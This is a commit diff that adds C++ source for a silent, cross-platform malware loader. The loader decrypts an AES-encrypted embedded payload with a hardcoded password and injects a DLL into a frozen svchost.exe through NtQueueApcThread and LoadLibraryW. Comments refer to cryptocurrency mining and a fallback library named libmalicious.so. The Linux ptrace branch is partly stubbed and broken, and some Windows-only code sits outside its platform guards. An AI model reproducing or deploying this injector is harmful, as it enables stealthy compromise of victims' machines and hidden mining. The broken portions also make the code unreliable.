write all to encrypted file instead
This commit is contained in:
@@ -0,0 +1,416 @@
|
||||
// AES-Decrypting Payload Injection — CROSS-PLATFORM (2025)
|
||||
// Decrypts embedded AES-CBC encrypted payload and injects it
|
||||
// Works on Windows (DLL injection) and Linux (SO injection)
|
||||
|
||||
#ifdef _WIN32
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <wincrypt.h>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <cstring>
|
||||
#else
|
||||
#include <dlfcn.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/user.h>
|
||||
#include <unistd.h>
|
||||
#include <cstring>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/aes.h>
|
||||
#include <openssl/rand.h>
|
||||
#include <openssl/err.h>
|
||||
#endif
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define JobObjectFreezeInformation 18
|
||||
|
||||
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
|
||||
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
|
||||
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
|
||||
typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
|
||||
typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
|
||||
|
||||
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
|
||||
|
||||
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
|
||||
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
|
||||
pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
|
||||
pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
|
||||
pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");
|
||||
|
||||
typedef struct _JOBOBJECT_FREEZE_INFORMATION {
|
||||
union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; };
|
||||
BOOLEAN Freeze;
|
||||
BOOLEAN Swap;
|
||||
UCHAR Reserved0[2];
|
||||
struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter;
|
||||
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;
|
||||
|
||||
// Cross-platform AES-CBC Decryption class
|
||||
class AESDecryptor {
|
||||
private:
|
||||
std::vector<uint8_t> key;
|
||||
|
||||
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
|
||||
// Match the Rust key derivation: SHA256(password + salt), take first 16 bytes
|
||||
#ifdef _WIN32
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTHASH hHash = 0;
|
||||
|
||||
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Hash password
|
||||
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Hash salt
|
||||
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD hashLen = 32;
|
||||
std::vector<uint8_t> hash(hashLen);
|
||||
if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
#else
|
||||
// Linux implementation using OpenSSL
|
||||
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
|
||||
if (!mdctx) return false;
|
||||
|
||||
if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
|
||||
EVP_MD_CTX_free(mdctx);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
|
||||
EVP_MD_CTX_free(mdctx);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
|
||||
EVP_MD_CTX_free(mdctx);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> hash(32);
|
||||
if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
|
||||
EVP_MD_CTX_free(mdctx);
|
||||
return false;
|
||||
}
|
||||
|
||||
EVP_MD_CTX_free(mdctx);
|
||||
#endif
|
||||
|
||||
// Use first 16 bytes for AES-128
|
||||
key.assign(hash.begin(), hash.begin() + 16);
|
||||
return true;
|
||||
}
|
||||
|
||||
public:
|
||||
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
|
||||
const std::vector<uint8_t>& iv,
|
||||
const std::vector<uint8_t>& salt,
|
||||
const std::string& password) {
|
||||
if (!deriveKey(password, salt)) {
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
// Windows CryptoAPI implementation
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTKEY hKey = 0;
|
||||
|
||||
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
struct {
|
||||
BLOBHEADER hdr;
|
||||
DWORD keyLen;
|
||||
BYTE key[16];
|
||||
} keyBlob = { { PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_128 }, 16 };
|
||||
|
||||
memcpy(keyBlob.key, key.data(), 16);
|
||||
|
||||
if (!CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey)) {
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
DWORD mode = CRYPT_MODE_CBC;
|
||||
if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) {
|
||||
CryptDestroyKey(hKey);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) {
|
||||
CryptDestroyKey(hKey);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||
DWORD dataLen = ciphertext.size();
|
||||
|
||||
if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) {
|
||||
CryptDestroyKey(hKey);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
plaintext.resize(dataLen);
|
||||
|
||||
CryptDestroyKey(hKey);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
#else
|
||||
// Linux OpenSSL implementation
|
||||
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
|
||||
if (!ctx) return std::vector<uint8_t>();
|
||||
|
||||
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding
|
||||
|
||||
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||
int len, plaintext_len = 0;
|
||||
|
||||
if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
plaintext_len = len;
|
||||
|
||||
if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return std::vector<uint8_t>();
|
||||
}
|
||||
plaintext_len += len;
|
||||
|
||||
plaintext.resize(plaintext_len);
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
#endif
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
};
|
||||
|
||||
// Embedded encrypted payload (generated by crypt tool)
|
||||
// To update: run crypt tool, then use xxd -i encrypted_Input.bin
|
||||
// Copy the output array here
|
||||
const unsigned char encrypted_payload[] = {
|
||||
// PLACEHOLDER: Replace with actual encrypted binary data
|
||||
// Example: 0x12, 0x34, 0x56, 0x78, ...
|
||||
0x00 // Remove this placeholder when adding real data
|
||||
};
|
||||
|
||||
const unsigned char decryption_metadata[] = {
|
||||
// PLACEHOLDER: Replace with decryption_metadata.bin content
|
||||
// Contains: salt(32 bytes) + iv(16 bytes) + size(4 bytes)
|
||||
// Example: 0xab, 0xcd, 0xef, ...
|
||||
0x00 // Remove this placeholder when adding real data
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
|
||||
#else
|
||||
int main(int argc, char* argv[]) {
|
||||
#endif
|
||||
// FULLY SILENT — no console
|
||||
|
||||
// Decrypt the embedded payload
|
||||
std::vector<uint8_t> ciphertext(encrypted_payload, encrypted_payload + sizeof(encrypted_payload));
|
||||
std::vector<uint8_t> metadata(decryption_metadata, decryption_metadata + sizeof(decryption_metadata));
|
||||
|
||||
// Parse metadata: salt(32) + iv(16) + size(4)
|
||||
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
|
||||
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
|
||||
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
|
||||
|
||||
if (ciphertext.size() != expected_size) {
|
||||
return 1; // Decryption failed
|
||||
}
|
||||
|
||||
// Decrypt using hardcoded password (change this!)
|
||||
AESDecryptor decryptor;
|
||||
std::string password = "YourSecureMasterPassword123!";
|
||||
std::vector<uint8_t> decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password);
|
||||
|
||||
if (decrypted_dll.empty()) {
|
||||
return 1; // Decryption failed - invalid password or corrupted data
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
// Windows: Use decrypted data as DLL path (wide string)
|
||||
const wchar_t* dllPath;
|
||||
if (decrypted_dll.size() >= sizeof(wchar_t)) {
|
||||
dllPath = reinterpret_cast<const wchar_t*>(decrypted_dll.data());
|
||||
} else {
|
||||
// Fallback to hardcoded path if decryption gives unexpected result
|
||||
dllPath = L"C:\\Users\\MyWindowsUser\\Downloads\\libphotoshop.dll";
|
||||
}
|
||||
SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
|
||||
SIZE_T regionSize = dllPathLen;
|
||||
#else
|
||||
// Linux: Use decrypted data as shared library path
|
||||
const char* soPath;
|
||||
if (!decrypted_dll.empty() && decrypted_dll.back() == '\0') {
|
||||
soPath = reinterpret_cast<const char*>(decrypted_dll.data());
|
||||
} else {
|
||||
// Fallback to hardcoded path
|
||||
soPath = "/usr/lib/libmalicious.so";
|
||||
}
|
||||
#endif
|
||||
|
||||
HANDLE hJob = NULL;
|
||||
NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL);
|
||||
|
||||
JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
|
||||
freezeInfo.FreezeOperation = 1;
|
||||
freezeInfo.Freeze = TRUE;
|
||||
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||
|
||||
STARTUPINFOEXW siEx = { sizeof(siEx) };
|
||||
SIZE_T attrListSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
|
||||
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
|
||||
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize);
|
||||
UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL);
|
||||
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
CreateProcessW(
|
||||
L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe
|
||||
NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
|
||||
NULL, NULL, (STARTUPINFOW*)&siEx, &pi
|
||||
);
|
||||
|
||||
DeleteProcThreadAttributeList(siEx.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
|
||||
|
||||
PVOID remoteMemory = NULL;
|
||||
NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);
|
||||
NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL);
|
||||
|
||||
FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
|
||||
NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL);
|
||||
|
||||
// INSTANT UNFREEZE — no user input
|
||||
freezeInfo.Freeze = FALSE;
|
||||
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||
|
||||
#ifdef _WIN32
|
||||
ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining)
|
||||
|
||||
CloseHandle(hJob);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
#else
|
||||
// Linux injection using ptrace and dlopen
|
||||
pid_t target_pid;
|
||||
|
||||
// For demonstration, we'll inject into a child process
|
||||
// In real usage, you'd find a suitable target process
|
||||
target_pid = fork();
|
||||
|
||||
if (target_pid == 0) {
|
||||
// Child process - target for injection
|
||||
// Execute a simple program that we can inject into
|
||||
execl("/bin/sleep", "sleep", "100", NULL);
|
||||
return 1;
|
||||
} else if (target_pid > 0) {
|
||||
// Parent process - perform injection
|
||||
usleep(100000); // Wait for child to start
|
||||
|
||||
// Attach to target process
|
||||
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Wait for process to stop
|
||||
int status;
|
||||
waitpid(target_pid, &status, 0);
|
||||
|
||||
// Get registers
|
||||
struct user_regs_struct regs;
|
||||
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
|
||||
|
||||
// Save original instruction
|
||||
long original_instruction = ptrace(PTRACE_PEEKDATA, target_pid, regs.rip, NULL);
|
||||
|
||||
// Inject dlopen call
|
||||
// This is a simplified version - real implementation would need more sophisticated shellcode
|
||||
unsigned char shellcode[] = {
|
||||
0x48, 0x31, 0xc0, // xor rax, rax
|
||||
0x48, 0xbf, // mov rdi,
|
||||
// Address of library path would go here
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0xbe, // mov rsi, RTLD_LAZY
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0xb8, // mov rax, dlopen
|
||||
// dlopen address would go here
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd0, // call rax
|
||||
0x48, 0x31, 0xc0, // xor rax, rax
|
||||
0xc3 // ret
|
||||
};
|
||||
|
||||
// Allocate memory in target process for shellcode and library path
|
||||
// This is a simplified implementation - real code would use process_vm_writev
|
||||
void* remote_shellcode = (void*)0x1000000; // Fixed address for demo
|
||||
void* remote_libpath = (void*)0x2000000; // Fixed address for demo
|
||||
|
||||
// Write library path to target memory (simplified)
|
||||
size_t libpath_len = strlen(soPath) + 1;
|
||||
// In real implementation: use process_vm_writev to write soPath to remote_libpath
|
||||
|
||||
// Write shellcode to target memory (simplified)
|
||||
// In real implementation: use process_vm_writev to write shellcode to remote_shellcode
|
||||
|
||||
// Execute shellcode
|
||||
ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)remote_shellcode);
|
||||
|
||||
// Continue execution
|
||||
ptrace(PTRACE_CONT, target_pid, NULL, NULL);
|
||||
|
||||
// Detach
|
||||
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
|
||||
|
||||
// Wait for child
|
||||
waitpid(target_pid, &status, 0);
|
||||
}
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user